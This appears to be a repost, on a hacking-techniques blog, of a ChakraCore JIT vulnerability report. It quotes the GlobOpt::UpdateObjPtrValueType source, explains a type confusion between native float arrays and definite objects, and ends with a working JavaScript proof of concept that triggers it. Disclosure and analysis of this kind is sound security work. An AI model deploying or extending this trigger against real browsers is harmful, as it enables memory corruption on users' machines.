Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86391630

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*
The switch statement only handles Js::TypeIds_Array but not Js::TypeIds_NativeIntArray and Js::TypeIds_NativeFloatArray. So for example, a native float array can be considered as of type ObjectType::Object under certain circumstances where "objValueType.IsLikelyArrayOrObjectWithArray()" is not fulfilled. As it doesn't install any array type conversion check for a definite object, handling a native array as a definite object can lead to type confusion.

void
GlobOpt::UpdateObjPtrValueType(IR::Opnd * opnd, IR::Instr * instr)
{
    ...
    if (newValueType == ValueType::Uninitialized)
    {
        switch (typeId)
        {
        default:
            if (typeId > Js::TypeIds_LastStaticType)
            {
                Assert(typeId != Js::TypeIds_Proxy);
                if (objValueType.IsLikelyArrayOrObjectWithArray())
                {
                    // If we have likely object with array before, we can't make it definite object with array
                    // since we have only proved that it is an object.
                    // Keep the likely array or object with array.
                }
                else
                {
                    newValueType = ValueType::GetObject(ObjectType::Object);
                }
            }
            break;
        case Js::TypeIds_Array:
            // Because array can change type id, we can only make it definite if we are doing array check hoist
            // so that implicit call will be installed between the array checks.
            if (!DoArrayCheckHoist() ||
                (currentBlock->loop
                ? !this->ImplicitCallFlagsAllowOpts(currentBlock->loop)
                : !this->ImplicitCallFlagsAllowOpts(this->func)))
            {
                break;
            }
            if (objValueType.IsLikelyArrayOrObjectWithArray())
            {
                // If we have likely no missing values before, keep the likely, because, we haven't proven that
                // the array really has no missing values
                if (!objValueType.HasNoMissingValues())
                {
                    newValueType = ValueType::GetObject(ObjectType::Array).SetArrayTypeId(typeId);
                }
            }
            else
            {
                newValueType = ValueType::GetObject(ObjectType::Array).SetArrayTypeId(typeId);
            }
            break;
        }
    }
    ...
}

PoC:
*/

function opt(arr, arr2) {
    arr[0] = 1.1;

    arr2.method(arr2[0] = {});

    arr[0] = 2.3023e-320;
}

Object.prototype.method = () => {};

let arr = [1.1, 2.2];
for (let i = 0; i < 100; i++) {
    opt(arr, 1);  // Feeding an integer to make the value type LikelyCanBeTaggedValue_Int_PrimitiveOrObject
    opt(arr, arr.concat());
}

setTimeout(() => {
    opt(arr, arr);
    alert(arr);
}, 100);  // Waiting for the JIT server to finish its job.